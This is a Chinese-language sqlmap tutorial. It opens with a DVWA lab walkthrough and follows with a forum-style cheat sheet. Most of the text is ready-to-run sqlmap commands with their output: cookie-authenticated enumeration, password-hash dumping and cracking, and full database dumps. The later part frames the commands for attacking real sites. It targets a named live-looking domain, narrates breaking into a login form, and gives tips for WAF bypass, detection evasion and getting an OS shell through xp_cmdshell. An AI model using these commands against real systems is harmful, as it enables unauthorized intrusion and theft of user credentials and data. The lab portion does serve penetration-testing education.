SQL注入之SQLmap入门 (注入检测工具)
什么是sqlmap?
sqlmap是一款用来检测与利用sql注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
读者可以通过位于sourceforge的官方网站下载sqlmap源码:
为了方便大家使用特提供一份无需安装python环境的sqlmap:
sqlmap的作者是谁?
bernardo dameleassumpcao guimaraes (@inquisb),读者可以通过与他取得联系,以及miroslav stampar (@stamparm)读者可以通过与他联系。
同时读者也可以通过dev@sqlmap.org与sqlmap的所有开发者联系。
执行sqlmap的命令是什么?
进入sqlmap.py所在的目录,执行以下命令:
#python sqlmap.py -h
(译注:选项列表太长了,而且与最新版本有些差异,所以这里不再列出,请读者下载最新版在自己机器上看吧)
sqlmap命令选项被归类为目标(target)选项、请求(request)选项、优化、注入、检测、技巧(techniques)、指纹、枚举等。
如何使用sqlmap:
为方便演示,我们创建两个虚拟机:
1、受害者机器, windows xp操作系统,运行一个web服务器,同时跑着一个包含漏洞的web应用(dvwa)。
2、攻击器机器,使用ubuntu 12.04,包含sqlmap程序。
本次实验的目的:使用sqlmap得到以下信息:
3、枚举mysql用户名与密码。
4、枚举所有数据库。
5、枚举指定数据库的数据表。
6、枚举指定数据表中的所有用户名与密码。
使用sqlmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用firefox中名为“tamperdata”的add-on获取。
当前得到的cookie为“security=high;phpsessid=57p5g7f32b3ffv8l45qppudqn3′。
为方便演示,我们将dvwa安全等级设置为low:
接下来我们进入页面的“sql injection”部分,输入任意值并提交。可以看到get请求的id参数如下:
“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit#”
因此该页面就是我们的目标页面。
以下命令可以用来检索当前数据库和当前用户:
“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” –cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
使用选项:
1、–cookie : 设置我们的cookie值“将dvwa安全等级从high设置为low”
2、-u : 指定目标url
3、-b : 获取dbms banner
4、–current-db : 获取当前数据库
5、–current-user:获取当前用户
结果如下:
可以看到结果如下:
dbms : mysqlversion 5.0 os versionubuntu 12.04 current user:root current db :dvwa
以下命令用来枚举所有的dbms用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”surname” --users --password”
使用选项:
1、–string : 当查询可用时用来匹配页面中的字符串
2、–users : 枚举dbms用户
3、–password : 枚举dbms用户密码hash
结果如下:
databasemanagement system users [142]: [*] ”@’kingasmk’ [*]”@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*] ‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’
数据库管理系统用户和密码hash:
[*]debian-sys-maint [1]: password hash:*c30441e06530498bc86019bf3211b94b3bab295a [*] phpmyadmin[1]: password hash:*c30441e06530498bc86019bf3211b94b3bab295a [*] root [4]: password hash: *c30441e06530498bc86019bf3211b94b3bab295a password hash:*c30441e06530498bc86019bf3211b94b3bab295a password hash:*c30441e06530498bc86019bf3211b94b3bab295a password hash:*c30441e06530498bc86019bf3211b94b3bab295a
读者可以使用cain&abel、john&ripper等工具将密码hash破解为明文。以下命令会枚举系统中所有的数据库schema:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”
使用选项:
-
–dbs: 枚举dbms中的数据库
结果如下:
availabledatabases [5]: [*]dvwa [*]information_schema [*]mysql [*]performance_schema [*]phpmyadmin
下面我们尝试枚举dvwa数据表,执行以下命令:
“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” -d dvwa --tables”
使用选项:
1、-d : 要枚举的dbms数据库
2、–tables : 枚举dbms数据库中的数据表
得到结果如下:
database: dvwa [2 tables] +————+ | guestbook | | users | +————+
下面获取用户表的列,命令如下:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” -d dvwa -t users --columns”
使用选项:
-
-t : 要枚举的dbms数据库表
-
–columns : 枚举dbms数据库表中的所有列
结果如下:
database: dvwa table: users [6 columns] +————+————-+ | column | type| +————+————-+ | avatar |varchar(70) | | first_name |varchar(15) | | last_name |varchar(15) | | password |varchar(32) | | user |varchar(15) | | user_id |int(6) | +————+————-+
如上所示,以上为我们感兴趣的列,表示用户名与密码等。下面将每一列的内容提取出来。执行以下命令,将用户与密码表中的所有用户名与密码dump出来:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit”–cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3; security=low” -d dvwa -t users-c user,password --dump”
使用选项:
-
-t : 要枚举的dbms数据表
-
-c: 要枚举的dbms数据表中的列
-
–dump : 转储dbms数据表项
sqlmap会提问是否破解密码,按回车确认:
得到所有用户名与明文密码如下:
database: dvwa table: users [5 entries] +———+———+———————————————+ | user_id | user| password | +———+———+———————————————+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) | | 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) | | 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) | +———+———+———————————————+
这时我们就可以利用admin帐户登录做任何事了。
总结:
sqlmap是一个非常强大的工具,可以用来简化操作,并自动处理sql注入检测与利用。
[via infosecinstitute]
下面小编为大家分享点实际点的:
mssql access 直接爆表.然后你懂的
bt5里面的话前面就要加python
sqlmap.py -u url --dbs //爆数据库
sqlmap.py -u url --current-db //爆当前库
sqlmap.py -u url --current-user //爆当前用户
sqlmap.py -u url --users 查看用户权限
sqlmap.py -u url --tables -d 数据库 //爆表段
sqlmap.py -u url --columns -t 表段 -d 数据库 //爆字段
sqlmap.py -u url --dump -c 字段 -t 表段 -d 数据库 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -c 字段 -t 表段 -d 数据库 //猜解1到3的字段
翻回来也可以
sqlmap.py -u url 判断
sqlmap.py -u url --is-dba -v 这是判断当前数据库的使用者是否是dba
sqlmap.py -u url --users -v 0 这句的目的是列举数据库的用户
sqlmap.py -u url --passwords -v 0 这句的目的是获取数据库用户的密码
sqlmap.py -u url --privileges -v 0 这是判断当前的权限
sqlmap.py -u url --dbs -v 0 这句的目的是将所有的数据库列出来
sqlmap.py -u url --tables -d '表' 爆表
sqlmap.py -u url --columns -t ‘表’-d ‘数据库’爆列
sqlmap.py -u url --dump -t '表' --start 1 --stop 4 -v 0 这里是查询第2到第4行的内
sqlmap.py -u url --dump -all -v 0
这儿我们将所有的库导出来,我想这就是前段时间盛传的脱裤吧,在执行这项操作的时候,会把所有的表里的内容导入到当前的一个目录下,看着清楚明了,但是花费的时间和很长。
sqlmap -u "http://www.newwide.com/newsphp?class=news&id=5&page=1&catalog_id=2" --users --password 爆用户密码
最近看到很多大牛发sqlmap的视频教程。
然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。
各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。
sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh
所以第一件事当然是滚去看帮助文档。
sqlmap -hh
我操。。。。。。。这么多英文,多少只*在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
需要数据库好:–dbs
得到数据库名称xxx,需要表: -d xxx –tables
得到表名xxxx,需要段:-d xxx -t xxxx –columns
得到段内有admin,password,需要值:-d xxx -t xxxx -c “admin,password” –dump
那么我们来理解一下,-d -t -c 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子
好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -d kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -d kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。
总结下来,帮助文档还是很重要的,多看看,总会有些收获:
为了避免各位看英文看到吐,大概总结下:
target: 字面意思,目标,那么就是确定目标的
request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
optimization:字面意思,调节性能,等等
injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
detection:
基本就是用在确认注入范围,寻找注入点区域,这些
technique:
基本用在确定注入手段,以及攻击方式
fingerprint:
基本用在指纹识别,用的很少
enumeration:
枚举信息,主要用在注入中,很重要,很常用
brute force:
用来爆破,其实主要是枚举tables columns用的
user-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
file system access
主要是文件读取,文件写入
operating system access
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击
windows registry access
基本就是注册表操作了
general
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
miscellaneous
目测高端应用,还没怎么用过,求大神指教
如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。
字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!
上一篇: 局域网的维护之网络安全
下一篇: sqlmap 入门级使用(简易教程)